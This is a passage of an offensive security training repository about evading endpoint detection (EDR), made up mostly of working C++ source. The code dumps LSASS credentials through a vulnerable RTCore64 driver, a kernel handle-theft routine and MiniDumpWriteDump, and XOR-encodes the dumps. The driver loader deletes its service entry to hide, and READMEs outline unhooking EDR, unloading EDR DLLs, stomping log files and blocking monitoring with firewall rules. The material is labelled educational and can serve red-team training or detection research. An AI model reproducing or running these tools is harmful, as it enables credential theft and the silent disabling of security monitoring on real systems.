uint64_t& outPA) { uint64_t entry = 0; uint64_t pml4Index = VADDR_TO_INDEX(va, 39); uint64_t pdptIndex = VADDR_TO_INDEX(va, 30); uint64_t pdIndex = VADDR_TO_INDEX(va, 21); uint64_t ptIndex = VADDR_TO_INDEX(va, 12); uint64_t pml4e = cr3 + (pml4Index * 8); if (!ReadPhys(h, pml4e, &entry, 8)) return false; if (!(entry & PAGE_PRESENT)) return false; uint64_t pdpte = (entry & ~0xFFFULL) + (pdptIndex * 8); if (!ReadPhys(h, pdpte, &entry, 8)) return false; if (!(entry & PAGE_PRESENT)) return false; if (entry & LARGE_PAGE) { outPA = (entry & ~((1ULL << 30) - 1)) + (va & ((1ULL << 30) - 1)); return true; } uint64_t pde = (entry & ~0xFFFULL) + (pdIndex * 8); if (!ReadPhys(h, pde, &entry, 8)) return false; if (!(entry & PAGE_PRESENT)) return false; if (entry & LARGE_PAGE) { outPA = (entry & ~((1ULL << 21) - 1)) + (va & ((1ULL << 21) - 1)); return true; } uint64_t pte = (entry & ~0xFFFULL) + (ptIndex * 8); if (!ReadPhys(h, pte, &entry, 8)) return false; if (!(entry & PAGE_PRESENT)) return false; outPA = (entry & ~0xFFFULL) + (va & 0xFFF); return true; } bool ReadVA(HANDLE h, uint64_t cr3, uint64_t va, void* out, size_t sz) { uint64_t pa = 0; if (!TranslateVAtoPA(h, cr3, va, pa)) return false; return ReadPhys(h, pa, out, sz); } // Find EPROCESS of target bool FindEP(HANDLE h, uint64_t cr3, uint64_t listVA, const std::string& name, uint64_t& foundEP) { uint64_t cur = 0; if (!ReadVA(h, cr3, listVA, &cur, 8)) return false; cur -= OFFSET_ActiveProcessLinks; uint64_t first = cur; do { char img[16] = { 0 }; if (!ReadVA(h, cr3, cur + OFFSET_ImageFileName, img, sizeof(img))) break; if (_stricmp(img, name.c_str()) == 0) { foundEP = cur; return true; } uint64_t flink = 0; if (!ReadVA(h, cr3, cur + OFFSET_ActiveProcessLinks, &flink, 8)) break; cur = flink - OFFSET_ActiveProcessLinks; } while (cur != first); return false; } bool StealHandle(HANDLE h, uint64_t cr3, uint64_t systemEP, uint64_t lsassEP, HANDLE& stolenHandle) { uint64_t objTbl = 0, tableCode = 0; if (!ReadVA(h, cr3, systemEP + OFFSET_ObjectTable, &objTbl, 8)) return false; if (!ReadVA(h, cr3, objTbl + OFFSET_HandleTable_TableCode, &tableCode, 8)) return false; uint64_t tableBase = tableCode & ~0xF; for (int i = 0; i < 0x1000; ++i) { uint64_t entryAddr = tableBase + (i * HANDLE_TABLE_ENTRY_SIZE); uint64_t entry = 0; if (!ReadVA(h, cr3, entryAddr, &entry, 8)) continue; if ((entry & ~0xF) == lsassEP) { stolenHandle = (HANDLE)(i * 4); return true; } } return false; } bool DumpLSASS(HANDLE stolen) { std::ofstream out(OUTPUT_FILE, std::ios::binary); if (!out.is_open()) return false; MEMORY_BASIC_INFORMATION mbi = { 0 }; uint8_t* addr = nullptr; while (VirtualQueryEx(stolen, addr, &mbi, sizeof(mbi)) == sizeof(mbi)) { if (mbi.State == MEM_COMMIT && mbi.Protect & (PAGE_READWRITE | PAGE_READONLY | PAGE_EXECUTE_READ)) { std::vector buf(mbi.RegionSize); SIZE_T bytesRead = 0; if (ReadProcessMemory(stolen, mbi.BaseAddress, buf.data(), buf.size(), &bytesRead)) { for (SIZE_T i = 0; i < bytesRead; ++i) buf[i] ^= XOR_KEY; out.write((char*)buf.data(), bytesRead); } } addr += mbi.RegionSize; } out.close(); return true; } int main() { WriteLog("[*] Starting unified LSASS dumper..."); if (!LoadDriver(DRIVER_NAME, DRIVER_PATH)) { WriteLog("[-] Driver load failed."); return 1; } HANDLE h = OpenDriver(); if (!h || h == INVALID_HANDLE_VALUE) { WriteLog("[-] Failed to open RTCore64 device."); return 1; } // Get kernel base dynamically LPVOID drivers[1024]; DWORD needed; if (!EnumDeviceDrivers(drivers, sizeof(drivers), &needed)) { WriteLog("[-] Could not enumerate device drivers."); return 1; } uint64_t kernelBase = reinterpret_cast(drivers[0]); WriteLog("[*] Kernel base: 0x" + std::hex + std::to_string(kernelBase)); // Compute offset using the DLL + export parsing trick // This requires ntoskrnl to map in user space earlier ULONG_PTR offset = GetProcAddress(LoadLibraryA("ntoskrnl.exe"), "PsInitialSystemProcess") - reinterpret_cast(GetModuleHandleA("ntoskrnl.exe")); WriteLog("[*] Symbol offset: 0x" + std::hex + std::to_string(offset)); uint64_t psInitVA = kernelBase + offset; WriteLog("[*] Resolved PsInitialSystemProcess VA: 0x" + std::hex + std::to_string(psInitVA)); uint64_t systemEP = 0; if (!ReadPhys(h, psInitVA, &systemEP, sizeof(systemEP))) { WriteLog("[-] Failed to read PsInitialSystemProcess from VA."); return 1; } WriteLog("[+] SYSTEM EPROCESS at: 0x" + std::hex + std::to_string(systemEP)); uint64_t cr3 = 0; if (!ReadVA(h, 0, systemEP + OFFSET_DirectoryTableBase, &cr3, 8)) { WriteLog("[-] Could not read kernel CR3."); return 1; } uint64_t lsassEP = 0; uint64_t winlogonEP = 0; if (!FindEP(h, cr3, systemEP + OFFSET_ActiveProcessLinks, "lsass.exe", lsassEP)) { WriteLog("[-] LSASS not found."); return 1; } if (!FindEP(h, cr3, systemEP + OFFSET_ActiveProcessLinks, "winlogon.exe", winlogonEP)) { WriteLog("[-] SYSTEM process not found."); return 1; } DWORD winlogonPid = 0; if (!ReadVA(h, cr3, winlogonEP + OFFSET_UniqueProcessId, &winlogonPid, sizeof(DWORD))) { WriteLog("[-] Failed to read winlogon PID."); return 1; } HANDLE winlogon = OpenProcess(PROCESS_DUP_HANDLE, FALSE, winlogonPid); if (!winlogon) { WriteLog("[-] Failed to open SYSTEM process."); return 1; } HANDLE targetLSASS = INVALID_HANDLE_VALUE; HANDLE stolen = INVALID_HANDLE_VALUE; if (!StealHandle(h, cr3, winlogonEP, lsassEP, targetLSASS)) { WriteLog("[-] Could not locate LSASS handle."); return 1; } if (!DuplicateHandle(winlogon, targetLSASS, GetCurrentProcess(), &stolen, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 0)) { WriteLog("[-] Handle duplication failed."); return 1; } if (!DumpLSASS(stolen)) { WriteLog("[-] LSASS dump failed."); return 1; } WriteLog("[+] Dump complete. Encoded output written."); return 0; } ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/offset-calc/headers/driver_interface.h ================================================ #pragma once #include #include HANDLE OpenDriver(); bool ReadPhys(HANDLE hDriver, uint64_t address, void* buffer, size_t size); ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/offset-calc/headers/logging.h ================================================ #pragma once #include #include inline void WriteLog(const std::string& message) { std::ofstream logFile("lsass_dumper.log", std::ios::app); logFile << message << std::endl; } ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/offset-calc/offset-calc.cpp ================================================ // main.cpp - Patched with PsInitialSystemProcess resolution for Windows 20348.3932 #include #include #include #include #include "headers/driver_interface.h" #include "headers/logging.h" // Convert to hex string std::string ToHexString(uint64_t value) { char buffer[32]; snprintf(buffer, sizeof(buffer), "%llx", value); return std::string(buffer); } // Retrieve kernel base address uintptr_t GetKernelBase() { LPVOID drivers[1024]; DWORD cbNeeded = 0; if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { WriteLog("[-] EnumDeviceDrivers failed."); return 0; } return reinterpret_cast(drivers[0]); } // Get Windows build number DWORD GetWindowsBuildNumber() { OSVERSIONINFOEXW osvi = { 0 }; osvi.dwOSVersionInfoSize = sizeof(osvi); if (!GetVersionExW((OSVERSIONINFOW*)&osvi)) { return 0; } return osvi.dwBuildNumber; } int main() { HANDLE driverHandle = OpenDriver(); if (!driverHandle || driverHandle == INVALID_HANDLE_VALUE) { WriteLog("[-] Failed to open driver handle."); return 1; } uintptr_t kernelBase = GetKernelBase(); if (!kernelBase) { WriteLog("[-] Failed to get kernel base."); return 1; } WriteLog("[*] Kernel base: 0x" + ToHexString(kernelBase)); DWORD build = GetWindowsBuildNumber(); WriteLog("[*] Detected Windows build: " + std::to_string(build)); uintptr_t psInitOffset = 0; if (build == 20348) { psInitOffset = 0x8755E0; // Verified for Windows Server 2022 } else if (build == 26100) { psInitOffset = 0x886B20; // Insider build example } else { WriteLog("[-] Unsupported Windows build: " + std::to_string(build)); return 1; } uintptr_t psInitVA = kernelBase + psInitOffset; WriteLog("[*] PsInitialSystemProcess VA: 0x" + ToHexString(psInitVA)); uint64_t systemEP = 0; if (!ReadPhys(driverHandle, psInitVA, &systemEP, sizeof(systemEP))) { WriteLog("[-] Failed to read PsInitialSystemProcess."); return 1; } WriteLog("[+] PsInitialSystemProcess EPROCESS: 0x" + ToHexString(systemEP)); CloseHandle(driverHandle); return 0; } ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver_interface.h ================================================ #pragma once #include #define RTCORE64_DEVICE_PATH L"\\\\.\\RTCore64" #define IOCTL_READ_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA801, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_WRITE_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA802, METHOD_BUFFERED, FILE_ANY_ACCESS) // Input/output structure (must match driver's expectations) typedef struct _PHYSICAL_MEMORY_RW { ULONGLONG address; // Physical address to read from DWORD size; // Size to read/write ULONGLONG buffer; // User-mode buffer to read into or write from } PHYSICAL_MEMORY_RW; ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver_loader.cpp ================================================ #define UNICODE #define _UNICODE #include #include #include #include void WriteLog(const std::string& msg) { std::ofstream log("C:\\Windows\\Temp\\driver_loader.log", std::ios::app); log << msg << std::endl; log.close(); } bool LoadDriver(const std::wstring& driverName, const std::wstring& driverPath) { SC_HANDLE scManager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); if (!scManager) { WriteLog("[-] Failed to open Service Control Manager."); return false; } // Remove service if it already exists SC_HANDLE existing = OpenService(scManager, driverName.c_str(), SERVICE_ALL_ACCESS); if (existing) { WriteLog("[*] Driver service already exists. Deleting it..."); DeleteService(existing); CloseServiceHandle(existing); } // Create the new service entry SC_HANDLE service = CreateService( scManager, driverName.c_str(), driverName.c_str(), SERVICE_START | DELETE | SERVICE_STOP, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driverPath.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr ); if (!service) { DWORD err = GetLastError(); WriteLog("[-] Failed to create service. Error: " + std::to_string(err)); CloseServiceHandle(scManager); return false; } WriteLog("[+] Driver service created successfully."); // Start the service if (!StartService(service, 0, nullptr)) { DWORD err = GetLastError(); WriteLog("[-] Failed to start driver service. Error: " + std::to_string(err)); DeleteService(service); CloseServiceHandle(service); CloseServiceHandle(scManager); return false; } WriteLog("[+] Driver started successfully."); // Optionally delete the service afterward to clean up DeleteService(service); WriteLog("[*] Service entry deleted (driver still running)."); CloseServiceHandle(service); CloseServiceHandle(scManager); return true; } int main() { const std::wstring driverName = L"MyRTCore64"; const std::wstring driverPath = L"C:\\Windows\\Temp\\RTCore64.sys"; WriteLog("[*] Starting driver loader..."); if (LoadDriver(driverName, driverPath)) { WriteLog("[+] Driver loaded and running."); } else { WriteLog("[-] Driver load failed."); } return 0; } ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/dump-that-lsass.cpp ================================================ #define UNICODE #define _UNICODE #include #include #include #include #include #define XOR_KEY 0x41 void Log(const std::string& msg) { std::ofstream log("C:\\Windows\\Temp\\lsass_dumper.log", std::ios::app); log << msg << std::endl; log.close(); } DWORD FindLSASSPid() { DWORD pid = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 pe = { 0 }; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe)) { do { if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) { pid = pe.th32ProcessID; break; } } while (Process32Next(snapshot, &pe)); } CloseHandle(snapshot); } return pid; } bool EnableDebugPrivilege() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return false; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); } void DumpAndEncodeMemory(HANDLE hProc, std::ofstream& outFile) { MEMORY_BASIC_INFORMATION mbi; BYTE* addr = nullptr; while (VirtualQueryEx(hProc, addr, &mbi, sizeof(mbi)) == sizeof(mbi)) { if ((mbi.State == MEM_COMMIT) && (mbi.Type == MEM_PRIVATE || mbi.Type == MEM_IMAGE)) { SIZE_T regionSize = mbi.RegionSize; BYTE* buffer = new BYTE[regionSize]; SIZE_T bytesRead; if (ReadProcessMemory(hProc, mbi.BaseAddress, buffer, regionSize, &bytesRead)) { // XOR encode in-place for (SIZE_T i = 0; i < bytesRead; ++i) buffer[i] ^= XOR_KEY; outFile.write(reinterpret_cast(buffer), bytesRead); std::wcout << L"[+] Dumped & encoded region at " << mbi.BaseAddress << L", size: " << bytesRead << L"\n"; } delete[] buffer; } addr += mbi.RegionSize; } } int main() { if (!EnableDebugPrivilege()) { Log("[-] Failed to enable debug privileges."); std::cerr << "[-] Failed to enable debug privileges.\n"; return 1; } DWORD pid = FindLSASSPid(); if (pid == 0) { Log("[-] Could not find LSASS process."); std::cerr << "[-] Could not find LSASS process.\n"; return 1; } Log("[*] Attempting to open LSASS..."); HANDLE hProc = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid); if (!hProc) { Log("[-] Could not open LSASS process. Run as SYSTEM."); std::cerr << "[-] Could not open LSASS process. Run as SYSTEM.\n"; return 1; } std::ofstream outFile("lsass_encoded.bin", std::ios::binary); if (!outFile.is_open()) { Log("[-] Could not open output file."); std::cerr << "[-] Could not open output file.\n"; CloseHandle(hProc); return 1; } Log("[*] LSASS process opened successfully. PID: " + std::to_string(pid)); std::cout << "[*] Starting LSASS memory copy + XOR encoding...\n"; DumpAndEncodeMemory(hProc, outFile); outFile.close(); CloseHandle(hProc); Log("[+] Dump complete. Encoded memory written to lsass_encoded.bin"); std::cout << "[+] Dump complete. Encoded memory written to lsass_encoded.bin\n"; return 0; } ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/nikito/dump-that-lsass-nikito.cpp ================================================ #include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "Dbghelp.lib") typedef BOOL(WINAPI* MiniDumpWriteDump_t)( HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam ); BOOL CALLBACK MiniDumpCallback( PVOID CallbackParam, PMINIDUMP_CALLBACK_INPUT CallbackInput, PMINIDUMP_CALLBACK_OUTPUT CallbackOutput ) { if (!CallbackInput || !CallbackOutput) { return TRUE; } switch (CallbackInput->CallbackType) { case ModuleCallback: { CallbackOutput->ModuleWriteFlags |= (ModuleWriteModule | ModuleWriteMiscRecord | ModuleWriteCvRecord); return TRUE; } case ThreadCallback: { CallbackOutput->ThreadWriteFlags = (ThreadWriteThread | ThreadWriteContext | ThreadWriteInstructionWindow); return TRUE; } case IncludeModuleCallback: { return TRUE; } case IncludeThreadCallback: { return TRUE; } case MemoryCallback: { return TRUE; } case CancelCallback: { return FALSE; } case ReadMemoryFailureCallback: { return TRUE; } case IoStartCallback: case IoWriteAllCallback: case IoFinishCallback: { return TRUE; } default: return TRUE; } } DWORD FindLsassPid() { DWORD lsassPid = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32W processEntry = { 0 }; processEntry.dwSize = sizeof(PROCESSENTRY32W); if (Process32FirstW(hSnapshot, &processEntry)) { do { if (_wcsicmp(processEntry.szExeFile, L"lsass.exe") == 0) { lsassPid = processEntry.th32ProcessID; break; } } while (Process32NextW(hSnapshot, &processEntry)); } CloseHandle(hSnapshot); } return lsassPid; } bool EnableSeDebugPrivilege() { HANDLE hToken = NULL; bool result = false; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { LUID luid; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { result = (GetLastError() == ERROR_SUCCESS); } } CloseHandle(hToken); } return result; } #define MINIDUMP_TIMEOUT 30000 // 30 seconds timeout in milliseconds bool DumpLsassToMemoryBuffer(std::vector& outputBuffer) { outputBuffer.clear(); std::cout << "[+] Finding lsass.exe process ID..." << std::endl; DWORD lsassPid = FindLsassPid(); if (lsassPid == 0) { std::cout << "[-] Failed to find lsass.exe process" << std::endl; return false; } std::cout << "[+] Found lsass.exe process ID: " << lsassPid << std::endl; HANDLE hLsass = NULL; DWORD accessCombinations[] = { PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, PROCESS_ALL_ACCESS }; std::cout << "[+] Attempting to open lsass.exe process..." << std::endl; for (DWORD access : accessCombinations) { hLsass = OpenProcess(access, FALSE, lsassPid); if (hLsass) { std::cout << "[+] Successfully opened lsass.exe with access rights: 0x" << std::hex << access << std::dec << std::endl; break; } std::cout << "[-] Failed to open with access rights 0x" << std::hex << access << std::dec << ", error: " << GetLastError() << std::endl; } if (!hLsass) { std::cout << "[-] Could not open lsass.exe process" << std::endl; return false; } WCHAR tempPath[MAX_PATH] = {}; WCHAR tempFileName[MAX_PATH] = {}; if (!GetTempPathW(MAX_PATH, tempPath)) { CloseHandle(hLsass); return false; } if (!GetTempFileNameW(tempPath, L"LSA", 0, tempFileName)) { CloseHandle(hLsass); return false; } HANDLE hFile = CreateFileW( tempFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL ); if (hFile == INVALID_HANDLE_VALUE) { CloseHandle(hLsass); return false; } std::cout << "[+] Created temporary file for dumping" << std::endl; HMODULE hDbgHelp = LoadLibraryW(L"dbghelp.dll"); if (!hDbgHelp) { CloseHandle(hFile); CloseHandle(hLsass); return false; } auto pMiniDumpWriteDump = (MiniDumpWriteDump_t)GetProcAddress(hDbgHelp, "MiniDumpWriteDump"); if (!pMiniDumpWriteDump) { FreeLibrary(hDbgHelp); CloseHandle(hFile); CloseHandle(hLsass); return false; } MINIDUMP_CALLBACK_INFORMATION callbackInfo = {}; callbackInfo.CallbackRoutine = MiniDumpCallback; MINIDUMP_TYPE dumpType = (MINIDUMP_TYPE)( MiniDumpWithFullMemory | MiniDumpWithHandleData | MiniDumpWithUnloadedModules | MiniDumpWithThreadInfo | MiniDumpWithFullMemoryInfo | MiniDumpWithProcessThreadData | MiniDumpWithIndirectlyReferencedMemory ); // Setup to perform MiniDumpWriteDump with timeout std::atomic dumpFinished(false); std::atomic dumpSucceeded(false); std::atomic dumpErrorCode(0); std::thread dumpThread([&]() { std::cout << "[+] Attempting to call MiniDumpWriteDump in background thread..." << std::endl; BOOL dumpResult = pMiniDumpWriteDump( hLsass, lsassPid, hFile, dumpType, NULL, NULL, NULL // Removing callback to simplify the call ); dumpErrorCode = GetLastError(); dumpSucceeded = dumpResult != FALSE; dumpFinished = true; }); // Wait with timeout auto startTime = std::chrono::steady_clock::now(); while (!dumpFinished) { auto elapsed = std::chrono::steady_clock::now() - startTime; if (std::chrono::duration_cast(elapsed).count() > MINIDUMP_TIMEOUT) { std::cout << "[-] MiniDumpWriteDump timed out after " << MINIDUMP_TIMEOUT/1000 << " seconds" << std::endl; if (dumpThread.joinable()) { // In a real scenario, we would need to terminate the thread, but this is complex // and potentially dangerous. For this example, we'll detach it. dumpThread.detach(); } FreeLibrary(hDbgHelp); CloseHandle(hFile); CloseHandle(hLsass); return false; } std::this_thread::sleep_for(std::chrono::milliseconds(100)); } if (dumpThread.joinable()) { dumpThread.join(); } if (!dumpSucceeded) { std::cout << "[-] MiniDumpWriteDump failed with error code: " << dumpErrorCode << std::endl; FreeLibrary(hDbgHelp); CloseHandle(hFile); CloseHandle(hLsass); return false; } std::cout << "[+] Successfully dumped lsass with MiniDumpWriteDump" << std::endl; DWORD fileSize = GetFileSize(hFile, NULL); if (fileSize == INVALID_FILE_SIZE || fileSize == 0) { FreeLibrary(hDbgHelp); CloseHandle(hFile); CloseHandle(hLsass); return false; } outputBuffer.resize(fileSize); // Reset file pointer before reading if (SetFilePointer(hFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { FreeLibrary(hDbgHelp); CloseHandle(hFile); CloseHandle(hLsass); return false; } DWORD bytesRead = 0; if (!ReadFile(hFile, outputBuffer.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize) { FreeLibrary(hDbgHelp); CloseHandle(hFile); CloseHandle(hLsass); return false; } // Cleanup FreeLibrary(hDbgHelp); CloseHandle(hFile); CloseHandle(hLsass); return true; } int main() { std::cout << "[*] Starting LSASS dumping tool" << std::endl; // Ensure we have admin rights BOOL isAdmin = FALSE; HANDLE token = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) { TOKEN_ELEVATION elevation; DWORD size = sizeof(TOKEN_ELEVATION); if (GetTokenInformation(token, TokenElevation, &elevation, sizeof(elevation), &size)) { isAdmin = elevation.TokenIsElevated; } CloseHandle(token); } // Auto-elevate if not admin if (!isAdmin) { std::cout << "[*] Process is not running as administrator, attempting to elevate..." << std::endl; char path[MAX_PATH] = {0}; GetModuleFileNameA(NULL, path, MAX_PATH); SHELLEXECUTEINFOA sei = { sizeof(sei) }; sei.lpVerb = "runas"; sei.lpFile = path; sei.nShow = SW_NORMAL; if (ShellExecuteExA(&sei)) { std::cout << "[+] Elevation request sent" << std::endl; } else { std::cout << "[-] Failed to elevate: " << GetLastError() << std::endl; } return 0; } std::cout << "[+] Process is running with administrator privileges" << std::endl; // Enable debug privilege and dump LSASS if (EnableSeDebugPrivilege()) { std::cout << "[+] Successfully enabled SeDebugPrivilege" << std::endl; } else { std::cout << "[-] Failed to enable SeDebugPrivilege, continuing anyway..." << std::endl; } std::vector outputBuffer; std::cout << "[*] Attempting to dump LSASS process..." << std::endl; if (!DumpLsassToMemoryBuffer(outputBuffer)) { std::cout << "[-] Failed to dump LSASS process" << std::endl; return 1; } if (outputBuffer.empty() || outputBuffer.size() < 100 * 1024) { std::cout << "[-] Dump appears to be empty or too small (" << outputBuffer.size() << " bytes)" << std::endl; return 1; } std::cout << "[+] Successfully captured LSASS dump in memory (" << outputBuffer.size() << " bytes)" << std::endl; const BYTE XOR_KEY = 0xAA; std::cout << "[*] Encrypting dump with XOR key 0xAA..." << std::endl; for (size_t i = 0; i < outputBuffer.size(); ++i) { outputBuffer[i] ^= XOR_KEY; } std::cout << "[+] Writing encrypted dump to lsass_encrypted.dmp" << std::endl; // Write encrypted dump HANDLE encryptedFile = CreateFileA("lsass_encrypted.dmp", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (encryptedFile != INVALID_HANDLE_VALUE) { DWORD bytesWritten = 0; if (WriteFile(encryptedFile, outputBuffer.data(), (DWORD)outputBuffer.size(), &bytesWritten, NULL)) { std::cout << "[+] Successfully wrote " << bytesWritten << " bytes to encrypted dump file" << std::endl; } else { std::cout << "[-] Failed to write to encrypted dump file: " << GetLastError() << std::endl; } CloseHandle(encryptedFile); } else { std::cout << "[-] Failed to create encrypted dump file: " << GetLastError() << std::endl; } // Decrypt and write decrypted dump std::cout << "[*] Decrypting the buffer to lsass_decrypted.dmp for demonstration purposes..." << std::endl; for (size_t i = 0; i < outputBuffer.size(); ++i) { outputBuffer[i] ^= XOR_KEY; } HANDLE decryptedFile = CreateFileA("lsass_decrypted.dmp", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (decryptedFile != INVALID_HANDLE_VALUE) { DWORD bytesWritten = 0; if (WriteFile(decryptedFile, outputBuffer.data(), (DWORD)outputBuffer.size(), &bytesWritten, NULL)) { std::cout << "[+] Successfully wrote " << bytesWritten << " bytes to decrypted dump file" << std::endl; } else { std::cout << "[-] Failed to write to decrypted dump file: " << GetLastError() << std::endl; } CloseHandle(decryptedFile); } else { std::cout << "[-] Failed to create decrypted dump file: " << GetLastError() << std::endl; } // Free memory std::cout << "[+] Cleanup: Clearing memory buffers" << std::endl; outputBuffer.clear(); std::vector().swap(outputBuffer); std::cout << "[+] Operation completed successfully" << std::endl; return 0; } ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/system-that-lsass.cpp ================================================ #define UNICODE #define _UNICODE #include #include #include void WriteLog(const std::string& message) { std::ofstream log("C:\\Windows\\Temp\\launcher.log", std::ios::app); log << message << std::endl; log.close(); } int main() { LPCWSTR targetExe = L"C:\\dump-that-lsass.exe"; // Update as needed STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; WriteLog("[*] SYSTEM launcher starting..."); BOOL result = CreateProcessW( targetExe, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi ); if (result) { WriteLog("[+] Payload launched successfully as SYSTEM."); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { DWORD err = GetLastError(); WriteLog("[-] Failed to launch payload. Error: " + std::to_string(err)); } return 0; } ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/README.md ================================================ # Custom Windows API Based Evasions This section has a number of different ideas for evading different kind of monitoring and edr tooling. They are all experimental but meant for educational training and inspiration. 1. On the **Windows Target 2** machine. I is somewhat disabled but will allow us to go through these though experiments. 2. Swap back and forth between the files in the C++ folders in the Operator Desktop, and running them on **Windows Target 2** > Follow along, I will walk through each of the following, and discuss what they are doing on the system, and issues that they run into and why, and how you could solve them. > Detecting common EDR hooking methods. ``` ./c++/detect-hooks-dlls.exe ``` > Unhooking APIs. ``` unhooker.exe ``` > Detecting all process dlls, including PEB walk. ``` detect-att.exe --all ``` >Unload edr dlls. ``` dll-unloader.exe ``` 2. Next check out some fun thoughts on potential tricks for disabling monitoring indirectly with golang. in the ./golang/* folder. > Disable service. ``` disable-service.exe ``` > Delete or modify logging file. ``` file-stomp-OG.exe ``` > Stop external monitoring with firewall rule. ``` firewall-rule.exe ``` > Route to nothing! ``` re-route.exe ``` **Discuss Snuff-Traffic** Time to wrap it up!!! Thanks you! ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/c++/README.md ================================================ ## Advanced Hooking the hookers. Identify API hooks of edr. DLL injects etc. Unhook hooks. Unload DLLs, etc. OPENEDR often injects DLLs like openhidsvc.dll or openhidsvc64.dll into user processes. | Tool/Lib | Use | | --------------------------------------------------------------- | ----------------------------------------------- | | [`Blackbone`](https://github.com/DarthTon/Blackbone) | Memory reading, module enumeration, PEB parsing | | [`HookShark`](https://github.com/CheckPointSW/HookShark) | Detects common EDR hook types | | [`HollowHunter`](https://github.com/hasherezade/hollows_hunter) | Scans for code injection, hooks, etc. | | [`PE-sieve`](https://github.com/hasherezade/pe-sieve) | Detects inline hooks, manual mapping, hollowing | Try opening target processes with high rights like PROCESS_ALL_ACCESS If you receive Access Denied (ERROR_ACCESS_DENIED) but you’re SYSTEM, it’s probably PPL/PP Known PPLs: lsass.exe, winlogon.exe, csrss.exe, services.exe EDRSpy.exe EDRSpy.exe --all ✅ Lists modules via EnumProcessModules ✅ Walks the PEB → LDR → InMemoryOrderModuleList ✅ Detects suspicious DLLs by keyword ✅ Detects inline API hooks ✅ Compares function bytes (memory vs disk) ✅ Flags modules not backed by files (e.g., memory-only DLLs) ✅ Detects protected processes (PPL / Credential Guard) ✅ Reads registry to check if Credential Guard is enabled ================================================ FILE: 2-custom-edr-evasion/2-Custom-API/c++/detect-att.cpp ================================================ // EDRSpy - Full Tool with Remote PEB Walk and Batch Scan #define UNICODE #define _UNICODE #include #include #include #include #include #include #include #include // use official UNICODE_STRING, PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, PROCESS_BASIC_INFORMATION #include #include // offsetof #include // fixed-width ints #include // memset etc. #pragma comment(lib, "psapi.lib") // NtQueryInformationProcess prototype (already in winternl.h on most toolchains; keep a pointer type) typedef NTSTATUS (NTAPI* pNtQueryInformationProcess)( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); // --- Suspicious keywords --- static std::vector suspicious_keywords = {"openhid", "edr", "sensor", "agent"}; static bool IsSuspiciousModule(const std::string& modName) { for (const auto& kw : suspicious_keywords) { if (modName.find(kw) != std::string::npos) return true; } return false; } // --- Check if a module base is backed by a file in the target process --- static bool IsBackedByFileRemote(HANDLE hProc, void* baseAddr) { MEMORY_BASIC_INFORMATION mbi{}; if (!VirtualQueryEx(hProc, baseAddr, &mbi, sizeof(mbi))) return false; if (mbi.Type != 